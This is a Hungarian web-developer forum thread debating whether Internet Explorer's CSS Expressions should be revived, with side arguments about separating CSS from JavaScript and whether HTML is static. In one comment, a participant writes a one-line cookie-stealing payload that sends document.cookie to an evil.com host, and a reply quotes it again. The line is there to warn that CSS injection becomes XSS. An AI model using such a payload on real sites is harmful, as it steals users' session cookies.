ugrás a tartalomhoz

Media Queries are a Hack

Joó Ádám · 2013. Szep. 27. (P), 01.06
A media query csak egy speciális esete a dimenziók lekérdezésének
 
1

CSS Expressions

Hidvégi Gábor · 2013. Szep. 27. (P), 10.34
A Microsoftnak volt erre tizenöt (15) éve egy kész, flexibilis megoldása, amit úgy hívtak, hogy CSS Expressions. Sajnos ez a fejlesztőknek nem kellett, mert "lassú" és "nem biztonságos", helyette választották a több évtizedes szenvedést a statikus CSS-sel. Természetesen a CSS Expressions sem tökéletes, de kiindulásnak mindenképp jobb, mint a jelenlegi szerencsétlenkedés.

Ez a blogbejegyzés is csak egy újabb bizonyíték arra, hogy a szabványokért felelős W3C-nél és WHATWG-nél olyan emberek dolgoznak, akik életükben nem készítettek még weboldalt vagy webes alkalmazást, és elképzelésük sincs, milyen gyakorlati problémák merülnek fel a fejlesztés során. Természetesen ehhez szükséges a megfelelő befogadó közeg is.

Mindig megmosolygom azokat, akik cinikusan azt mondják a webre, hogy fejlődik.
2

Mindig csodálattal adózom a

tgr · 2013. Szep. 27. (P), 12.24
Mindig csodálattal adózom a képességednek, hogy mennyire magabiztosan tudsz mennyire nagy ostobaságokat írni.

A CSS Expressions gyakorlatilag azt jelentette, hogy javascript kódot lehetett írni CSS kifejezésekbe. Ez egyrészt azt jelentette, hogy bármilyen CSS manipulációs lehetőség instant XSS rés volt, másrészt viszonylag könnyű volt olyan helyzetet előidézni, amiben minden repaint eseménynél javascript kódot futtat a böngésző. Ráadásul egyáltalán semmi előnye nem volt ahhoz képest, mintha a javascript kódot javascript fájlba tetted volna, csak átláthatatlanabb kódot eredményezett, és sokkal nehezebb volt megmondani, hogy pontosan mikor fog futni az adott kód.
3

Mindig csodálattal adózom a

Hidvégi Gábor · 2013. Szep. 27. (P), 13.43
Mindig csodálattal adózom a képességednek, hogy mennyire magabiztosan tudsz mennyire nagy ostobaságokat írni.
Köszönöm az elismerő szavaidat. Igazán megtisztelő ezt olyan embertől hallani, aki tökéletesen átlátja az univerzum minden folyamatát, és ezáltal tökéletes döntéseket tud hozni. Javasolnám legközelebb a végét kiegészíteni a következővel: ", és ehhez még a neved is adod."

bármilyen CSS manipulációs lehetőség instant XSS rés
Pont ugyanakkora rés, mint a külsőleg betöltött scriptek. Kikapcsolt JS mellett egyik sem működik.
viszonylag könnyű volt olyan helyzetet előidézni, amiben minden repaint eseménynél javascript kódot futtat a böngésző
A biztonság és a sebesség problémáinak megoldása mérnöki munkaóra kérdése, például le lehet tiltani a CSS-ben hívott függvényeket, így csökkentve a veszélyt. A JS motorok fényéveket fejlődtek az IE5-éhez képest, és egy vetélytársa sem próbálta meg még beépíteni, de biztos vagyok benne, hogy egy modern böngészőben észrevehetetlen lenne. Innentől kezdve a site programozójára lenne bízva, mennyit enged meg magának, egy több megabájtos statikus CSS-sel is ki lehet akasztani egy gyengébb vasat a legújabb Chrome-mal is, hát még egy mobil eszközön.
Ráadásul egyáltalán semmi előnye nem volt ahhoz képest, mintha a javascript kódot javascript fájlba tetted volna
Most a JS fájlban nem csak a működés, hanem a megjelenés kódjai is keverednek. CSS Expression-ök mellett teljesen külön lehetne választani a két dolgot.
sokkal nehezebb volt megmondani, hogy pontosan mikor fog futni az adott kód
Ez kódszervezés és támogatás (firebug) kérdése.

Amiket leírtál, azzal azt állítod, hogy ezek a problémák megoldhatatlanok. Én ebben nem hiszek.

Egy dinamikusan gyorsuló világban statikus, kőkorszaki módszereket használni meglehetősen fantáziátlan gondolkodásra vall. Elég erős a kontraszt a Higgs-bozonok és a Marsra való költözés, és az interneten használt technológiák (html, css) között.
4

Kikapcsolt JS mellett egyik

Joó Ádám · 2013. Szep. 27. (P), 14.12
Kikapcsolt JS mellett egyik sem működik.


Épp ez a lényeg. A CSS deklaratív nyelv. Letilthatod a JavaScriptet, hogy biztonságban légy, a stíluslap mégis működni fog.

Most a JS fájlban nem csak a működés, hanem a megjelenés kódjai is keverednek. CSS Expression-ök mellett teljesen külön lehetne választani a két dolgot.


Onnantól kezdve, hogy a CSS is csak egy JavaScript fájl, mi értelme volna? A CSS és a JavaScript a közkeletű tévedéssel szemben nem megjelenés és viselkedés, hanem két különböző technológia, két különböző felhasználásra optimalizálva. Semmi ördögtől való nincs benne, ha a JavaScript megjelenést határoz meg, vagy ha a CSS viselkedést, ha adott eszközzel hatékonyabban megoldható (szem előtt tartva természetesen, hogy bármelyik elhagyható legyen, akár egymástól függetlenül). A separation of concerns-t, ha érdemes, akkor egy technológián belül is érdemes megvalósítani.
5

Letilthatod a JavaScriptet,

Hidvégi Gábor · 2013. Szep. 27. (P), 14.30
Letilthatod a JavaScriptet, hogy biztonságban légy, a stíluslap mégis működni fog.
<style>
div {
width: 1000px;
width: expression((document.body.offsetWidth - 100 ) + 'px');
border: 1px solid red;
}
</style>
<div>asd</div>
Tökéletesen működik.

Az általad leírtak második részével nem értek egyet, egyrészt a scriptelést a működés kényelme növelésének eszközének tartom (átlag weboldal esetén), a css pedig a megjelenés eszköze. A css fájlba kerülhetne script, de csak megjelenítéssel kapcsolatos, így a js fájlban nem lenne erre szükség, de hogy ez mennyire hatékony, arról nincs tapasztalatom.
6

Hol húzódik az objektív határ

Joó Ádám · 2013. Szep. 27. (P), 14.46
Tökéletesen működik.


A példádhoz nincsen szükség JavaScriptre, ezt a CSS-be is be lehetne vezetni. Az egyik rendszeresen visszatérő érv ellene a döntéshozók köreiben (a sebesség mellett), hogy a CSS-nek egyszerűnek kell maradnia, hogy laikusok is írhassák. Ezzel egyébként szerintem egyikünk sem ért egyet, de ettől még ez van.

Az általad leírtak második részével nem értek egyet, egyrészt a scriptelést a működés kényelme növelésének eszközének tartom (átlag weboldal esetén), a css pedig a megjelenés eszköze.


Hol húzódik az objektív határ megjelenés és viselkedés között? A :hover egyértelműen viselkedés, JavaScriptből kellene neki adni egy osztályt, és azzal befolyásolni a megjelenést, mégis jól van így a CSS-ben.

A CSS egy bizonyos használati mintára (elemek kijelölése és tulajdonságaik beállítása) nagyon hatékony eszköz. A tartalom-megjelenés-viselkedés szentháromság csak egy irányelv, a valóságban nem létezik tisztán.
7

transition / animation

Poetro · 2013. Szep. 27. (P), 14.54
Ahogy CSS transition is animation is valahol viselkedés és mégis CSS-ben van, mert az a megjelenés viselkedése?
10

Ha úgy tekintesz rá, minden,

Joó Ádám · 2013. Szep. 27. (P), 15.27
Ha úgy tekintesz rá, minden, ami az ablakban történik, a megjelenés viselkedése.
11

Szerintem a CSS transition az

Hidvégi Gábor · 2013. Szep. 27. (P), 15.32
Szerintem a CSS transition az simán megjelenés kategória, a viselkedésen én azt értem, mi történik, amikor rákattintanak valamire, elküldünk egy űrlapot a szervernek stb.

Elvileg megoldhatónak tartom, hogy csak class-okkal vezéreljük a megjelenítést a HTML kódban, de nem tudom, mennyire lenne hatékony.
8

Mint írtam az elején, a CSS

Hidvégi Gábor · 2013. Szep. 27. (P), 15.12
Mint írtam az elején, a CSS Expressions nem tökéletes, de kiindulási alapnak jó. Azért jó, mert már létezik, és nem kell újra kitalálni. Ha újat szeretnénk bevezetni, akkor azzal megint évtizedek mennek el, amíg a politikusok odafönn megvitatják, amire nekem nincs időm. Így is elment már huszonkét év, és a web nem fejlődött semmit sem.

Azért tartunk ma ott, ahol, mert egyrészt laikusok felelősek a szabványokért, másrészt laikusok készítik a weboldalakat. Kicsit meg kéne mozgatni a dolgokat, hogy a rostán kiessen ez a csoport.
9

Azért jó, mert már létezik,

Joó Ádám · 2013. Szep. 27. (P), 15.24
Azért jó, mert már létezik, és nem kell újra kitalálni.


Létezett, egy implementációban, anélkül, hogy megvitatásra került volna, és így a hibái felszínre kerüljenek és ki legyenek javítva. Magyarul nincs semmink.
12

Minden megvan az

Hidvégi Gábor · 2013. Szep. 27. (P), 15.36
Minden megvan az újrakezdéshez, csak a gőgöt és a kifogáskeresést kéne mellőzni.
13

Nyílt forrású volna a

Joó Ádám · 2013. Szep. 27. (P), 15.50
Nyílt forrású volna a Microsoft megvalósítása? Vagy akár csak úgy átemelhető a kurrens IE kódbázisba?
14

Az IE kompatibilitási módjai

Hidvégi Gábor · 2013. Szep. 27. (P), 16.23
Az IE kompatibilitási módjai miatt mindegyik verzióban megtalálható ez a featúra, ha jól értem a második kérdést. Az elsőre meg az a válasz, hogy nem egy nagy vaszisztdasz szabványt csinálni belőle, az XMLHttpRequest-ből is sikerült.

Nem értem egyébként a hozzáállást: nem kifogásokat kell keresni meg szerencsétlenkedni a media query-kkel, hanem erre a valós és létező problémára kell megoldást találni. Én ajánlottam egy kiindulási alapot a CSS Expressions formájában, erre ilyenekkel jöttök nekem, hogy "lassú" meg "nem biztonságos" meg "nem lesz tőle jobb" meg "nem szabványos", de alternatívát nem mondtok. Kit érdekelnek ezek? Embert kell rá találni, aki befoltozza a lyukakat, és tovább kell lépni, mert a webnek nem ez az egyedüli problémája. A HTML statikus – ez ugyancsak nonszensz, felfoghatatlan a huszonegyedik században. Mindenki csak csücsül a fenekén és várja a megoldást, meg károg, hogy így nem jó, úgy nem jó. Így sosem lesz belőletek énekes halott.
15

meg károg, hogy így nem jó,

Joó Ádám · 2013. Szep. 27. (P), 16.57
meg károg, hogy így nem jó, úgy nem jó


Tudod, hogy nem akarlak megbántani, de eddig nem mondtad, hogy bármelyik nyílt forrású böngészőbe elkezdted volna belefejleszteni az elképzeléseid.

Szerintem az itt jelen lévők nagy része tökéletesen tisztában van a technológiáink limitációival, és mindenki tudná sorolni az ötleteket, hogy merre kellene haladnia a fejlesztésnek.

Csak tudják, hogy a közös kiabalástól még semmi nem fog történni.
16

Nem vagyok böngészőfejlesztő,

Hidvégi Gábor · 2013. Szep. 27. (P), 17.20
Nem vagyok böngészőfejlesztő, nem is érdekel a dolog, de a közös kiabálás fontos, hogy akik ezzel foglalkoznak, meghallják, és ennek megfelelően változtassanak a dolgokon, és ne csak a maguk kis pecsenyéjét sütögessék.

Az, hogy a jelen lévők tisztában lennének a technológiák limitációival, számomra nem annyira nyilvánvaló, mert rajtam kívül nem sokan szoktak kritizálni, megoldást javasolni.
17

Nem vagyok böngészőfejlesztő,

Joó Ádám · 2013. Szep. 27. (P), 17.51
Nem vagyok böngészőfejlesztő, nem is érdekel a dolog, de a közös kiabálás fontos, hogy akik ezzel foglalkoznak, meghallják, és ennek megfelelően változtassanak a dolgokon, és ne csak a maguk kis pecsenyéjét sütögessék.


Úgy érzed, hogy a politikában valaha is hozott változást az, hogy valakik kiabáltak? Csak a tettek hoznak változásokat. Vagy megcsinálod magad, vagy meggyőzöl valakit róla, hogy csinálja a meg, vagy megfizetsz valakit érte. Azok, akiket meg akarsz győzni, nem járnak itt.

Az, hogy a jelen lévők tisztában lennének a technológiák limitációival, számomra nem annyira nyilvánvaló, mert rajtam kívül nem sokan szoktak kritizálni, megoldást javasolni.


Én is kritizáltam eleget ezeket a technológiákat, itt is, talán még korábban, mint te. De hogy-hogynem, ettől még nem változott semmi. És akkor itt hivatkoznék az őrültség közkeletű definíciójára.
18

leiro nyelv

blacksonic · 2013. Szep. 28. (Szo), 09.01
A HTML statikus – ez ugyancsak nonszensz, felfoghatatlan a huszonegyedik században.

Egy leiro nyelv hogy valik dinamikussa? Ha logikai es proceduralis elemeket visznek bele akkor mar nem leiro nyelvnek kellene nevezni...nem is ertem az okat ennek hogy miert kene dinamikussa valnia.
19

Statikus

Hidvégi Gábor · 2013. Szep. 28. (Szo), 10.29
Használtad-e valaha a következők közül bármelyiket?
().innerHTML
().appendChild()
document.write()

A szerveren statikus html-ekkel dolgozol, vagy pedig valamilyen scriptnyelvvel állítod össze a választ? Miért nevezzük a html-t leírónyelvnek? Miért ne lehetne dinamikus?
20

Ezek közül melyik HTML elem?

H.Z. · 2013. Szep. 28. (Szo), 10.48
Ezek közül melyik HTML elem?
29

Erről van szó: egyik sem.

Hidvégi Gábor · 2013. Szep. 29. (V), 09.52
Erről van szó: egyik sem.
31

Végképp nem értem az eredeti

H.Z. · 2013. Szep. 29. (V), 11.26
Végképp nem értem az eredeti hozzászólásodat, de mindegy. :)
(nekem az jött le, hogy ezekkel a példákkal támasztod alá, hogy a HTML igenis lehet dinamikus)
26

ket kulon dolog

blacksonic · 2013. Szep. 28. (Szo), 20.23
Hasznalom nap mint nap ezeket a fuggvenyeket es dinamikusan allitom elo a HTML es semmi bajom nincs ezzel es rajtam kivul szerintem a fejlesztok tulnyomo reszenek sincsen.

Pont az a jo benne, hogy a megjelenes leirasa kulon van valasztva a logikai proceduralis dolgoktol (separation of concerns) es kulonbozo jelolokkel dinamikus viselkedest lehet rajuk akasztani.
Miért nevezzük a html-t leírónyelvnek?
Mert az.
Miert nem lehet BMP formatumu keppel alkalmazast kesziteni? Mert arra talaltak ki, hogy kepet lehessen vele tarolni. Ne akarjunk a kiskalapacsunkbol halalcsillagot.
28

dinamikusan allitom elo a

Hidvégi Gábor · 2013. Szep. 29. (V), 09.51
dinamikusan allitom elo a HTML
Kiemelés tőlem. A HTML-t dinamikusan állítod elő, de maga a HTML statikus, amikor a kliens megkapja. Így például elveszted a gyorstárazás lehetőségét, mert a HTML különböző részei (menü, tartalom) más-más alkalommal frissülnek, mindig le kell tölteni egy nagy halom szemetet, hiába pár száz bájt csak az, ami változott.

Lehetne dinamikus a HTML, és ettől még nyugodtan különválaszthatod a megjelenést a logikai procedurális dolgoktól.
33

Edge Side Includes

blacksonic · 2013. Szep. 29. (V), 22.34
Így például elveszted a gyorstárazás lehetőségét, mert a HTML különböző részei (menü, tartalom) más-más alkalommal frissülnek, mindig le kell tölteni egy nagy halom szemetet, hiába pár száz bájt csak az, ami változott.

Erre talaltak ki az ESIt
35

Hány helyen használják?

Hidvégi Gábor · 2013. Szep. 30. (H), 07.28
Hány helyen használják?
36

sok helyen valoszinu

blacksonic · 2013. Szep. 30. (H), 08.12
Mivel Akamai (es valoszinu mas nagyobb CDN szolgaltatok is mar) es Symfony 2, Varnish, Nginx is tamogatja valoszinu hogy eleg sok helyen ahol ez jelentos nyereseggel jar.

Ketelkedsz benne hogy ez egy mukodo technologia?
37

Nem

Hidvégi Gábor · 2013. Szep. 30. (H), 09.29
Figyelmetlen voltam, azt hittem, hogy ez kliensoldali találmány. Szerveroldalon már régóta van include és gyorstárazási technológiák, de ettől függetlenül a kliensnek a teljes katyvaszt kell kiküldened így is.

A mai világban a readme.md-n kívül semmi sem statikus dokumentum, és itt bukik meg az egész HTML elmélet, amit statikus dokumentumok megjelenítésére találtak ki.
27

Mert az

Pepita · 2013. Szep. 28. (Szo), 21.42
Nem lehet dinamikus, viszont nagyon is lehet dinamikusan előállított - mint ahogy nap mint nap te is teszed, pl. ezekkel a js fügvényekkel, ami ugye megint csak nem része a HTML-nek. Pusztán átírja azt (vagyis a DOM-ot).
32

Szerintem lehetne dinamikus,

Hidvégi Gábor · 2013. Szep. 29. (V), 12.22
Szerintem lehetne dinamikus, nem látom semmi akadályát. A Föld kerek. És miért csak szerveroldalon lehet dinamikusan előállítani, kliensoldalon pedig csak scripttel?
34

Jó, tegyük fel, hogy lehetne

Pepita · 2013. Szep. 30. (H), 02.24
- Hogyan?
- Te hogy képzeled el a dinamikusságát?
- "Aktív" HTML tagekkel? (ActiveX pl.)

Szerintem egyáltalán nem baj, hogy valamilyen - többnyire script - egyéb programnyelvet használsz ahhoz, hogy változtass a leíró nyelv által adott kiinduló adatokon. Így nincs keveredés, megvan, hogy ki kivel van.
És tényleg ne keverjük a HTML-t a DOM-mal, js-el többnyire a már kész DOM-ba nyúlsz (memóriában), nem a HTML-t változtatod (kivéve talán ajax-load, ha újra cache-el a böngésző, amit te nemigen használsz tudtommal).
30

Leírtad, amit hozzá akartam

bamegakapa · 2013. Szep. 29. (V), 11.23
Leírtad, amit hozzá akartam fûzni, azaz HTML és a DOM között nem egyenlõség jellegû kapcsolat áll fenn.
21

Pont ugyanakkora rés, mint a

tgr · 2013. Szep. 28. (Szo), 12.08
Pont ugyanakkora rés, mint a külsőleg betöltött scriptek. Kikapcsolt JS mellett egyik sem működik.


Még ha igaz is lenne, két ugyanakkora rés rosszabb, mint egy rés. De nem igaz - a felhasználó által módosítható CSS sokkal általánosabb igény, mint a felhasználó által módosítható javascript, pl. B2B szolgáltatásoknál a branding, céges színek/fontok/stb megjelenítésére, és a CSS expressions ezt veszélyessé teszi. Abba bele se megyek, hogy mennyi értelme van annak, ha kikapcsolt JS mellett nem műküdik az oldal CSS-e...

például le lehet tiltani a CSS-ben hívott függvényeket, így csökkentve a veszélyt


Érdemben nem csökkentené. background-url: expression('http://evil.com/?'+document.cookie) stb.

A JS motorok fényéveket fejlődtek az IE5-éhez képest


Nem annyira JS motor kérdése a dolog, hanem a CSS kaszkád jellege veszne ezzel el: amíg egy elem csak a szülőjétől örököl tulajdonságokat, addig viszonylag jól kezelhető, hogy egy adott DOM node megváltozásakor milyen más node-ok milyen tulajdonságait kell újraszámolni, egy CSS expression alapú kifejezésről viszont lehetetlen megmondani, hogy mitől függ, ezért állandóan újra kell számolni az adott elemet és potenciálisan az egész alatta levő DOM fát, rosszabb esetben (mondjuk ha egy nem abszolút pozicionált elem szélességét módosítod) az egész dokumentumnak az összes utána jövő elemét.

Most a JS fájlban nem csak a működés, hanem a megjelenés kódjai is keverednek. CSS Expression-ök mellett teljesen külön lehetne választani a két dolgot.


CSS expressionök mellett nem csak a JS, hanem a CSS fájlokban is keverednének, ez valóban hatalmas előrelépés.

Egy dinamikusan gyorsuló világban statikus, kőkorszaki módszereket használni meglehetősen fantáziátlan gondolkodásra vall


Ez a mondat bullshit bingó megnyerésére ugyan kiválóan alkalmas (még azt hozzá lehetne tenni esetleg, hogy a technológiai szinergiák korában a CSS nem lehet walled garden), de nem sok jelentése van.

A CSS egyébként nem statikus, DOM elemek megjelenésének egymástól való függését írja le, ez egy teljesen dinamikus dolog (pl. ha megnöveled egy elem méretét, akkor a dokumentum át fog rendeződni, más elemek egymáshoz való pozíciója teljesen megváltozhat). A függések leírására használt eszközkészlet jelenleg elég korlátozott, például meg tudod mondani, hogy valami legyen feleakkora, mint egy másik valami, de azt nem, hogy legyen két pixellel nagyobb. Ennek az épelméjű megoldása nyilván nem az, hogy belehányunk a CSS közepébe egy egészen eltérő célra szánt másik nyelvet, ezáltal teljesen elemezhetetlenné téve, hanem az hogy kiterjesztjük a CSS-t, hogy képes legyen egyszerű matematikai összefüggéseket értelmezni (calc()).
22

+1

bamegakapa · 2013. Szep. 28. (Szo), 13.34
A bullshit bingó kifejezést pedig feljegyzem :).
23

+1

Joó Ádám · 2013. Szep. 28. (Szo), 13.46
még azt hozzá lehetne tenni esetleg, hogy a technológiai szinergiák korában a CSS nem lehet walled garden


Made my day :)
24

Még ha igaz is lenne, két

Hidvégi Gábor · 2013. Szep. 28. (Szo), 14.07
Még ha igaz is lenne, két ugyanakkora rés rosszabb, mint egy rés.
Bekapcsolt JS mellett ugyanúgy egy darab rés lenne. Az eddig általad leírtak alapján nem látom, miért lenne kétszer akkora rés, amikor mind a JS, mind a CSS ugyanazt a JS motort használja. Példa: jelenleg az oldal átméretezésének a kódja ha JS-ben van (melyik elem hova kerüljön), mitől lenne kevésbé biztonságos, ha ez a kódrészlet átkerülne a CSS-be?

Abba bele se megyek, hogy mennyi értelme van annak, ha kikapcsolt JS mellett nem műküdik az oldal CSS-e
Fentebb írtam rá példát, nem is kell belemenni. Az AJAX-os írásomra adott egyik kommentedben nem aggódtál ennyire a kikapcsolt JS miatt, azóta változott a helyzet? Ennek örülök.

background-url: expression('http://evil.com/?'+document.cookie) stb.
Ezt most JS-ben is megteheted, tehát ez nem igazán érv. Ugyanott vagyunk, ahol a part szakad.

egy CSS expression alapú kifejezésről viszont lehetetlen megmondani, hogy mitől függ, ezért állandóan újra kell számolni az adott elemet és potenciálisan az egész alatta levő DOM fát, rosszabb esetben (mondjuk ha egy nem abszolút pozicionált elem szélességét módosítod) az egész dokumentumnak az összes utána jövő elemét
Ha ez gondot jelent, majd a fejlesztő módosít a kódon. Egy bonyolultabb JS számítással is ki lehet akasztani a böngészőt, a fenti gondolatmeneted folytatva akkor dobjuk ki a scriptelést? Nem vagyok meggyőződve arról, hogy ez rossz ötlet.

CSS expressionök mellett nem csak a JS, hanem a CSS fájlokban is keverednének, ez valóban hatalmas előrelépés.
Most pedig a CSS kifejezések egy része van JS fájlokban. Továbbra is ugyanott vagyunk, ahol a part szakad.
Ez a mondat bullshit bingó megnyerésére ugyan kiválóan alkalmas (még azt hozzá lehetne tenni esetleg, hogy a technológiai szinergiák korában a CSS nem lehet walled garden), de nem sok jelentése van.
Pedig pontosan tudod, mit jelent a "statikus" szó jelentése.

A CSS egyébként nem statikus, DOM elemek megjelenésének egymástól való függését írja le, ez egy teljesen dinamikus dolog (pl. ha megnöveled egy elem méretét
Két módon növelheted meg egy elem méretét: átméretezed az ablakot, vagy pedig scriptből. Magában a CSS-ben nem mondhatod meg (azaz csak rendkívül korlátozottan, a calc() segítségével, azokban a böngészőkben, amelyek ezt támogatják), hogy egy elem tulajdonságai miként módosuljanak, ha megváltozik a környezet, továbbá nem tudsz változókat definiálni, hanem pl. olyan "keretrendszerek" használatára kényszerülsz, mint a LESS és társai. Ez kimeríti a statikus fogalmát.

Ennek az épelméjű megoldása nyilván nem az, hogy belehányunk a CSS közepébe egy egészen eltérő célra szánt másik nyelvet
Miért, a JS-t mire szánták? Nem lehet vele stílusokat definiálni, módosítani, kinézetet megváltoztatni?

Egyébként csak nyugodtan folytasd a személyeskedést (ha már elfogytak az érvek), nem zavar, mert nem engem minősít.
25

Kíváncsi leszek

Pepita · 2013. Szep. 28. (Szo), 15.22
a folytatásra, amennyiben lesz. Igen érdekes érvek és ellenérvek - egyelőre én ennél a megfogalmazásnál maradnék. Remélem tgr reagál.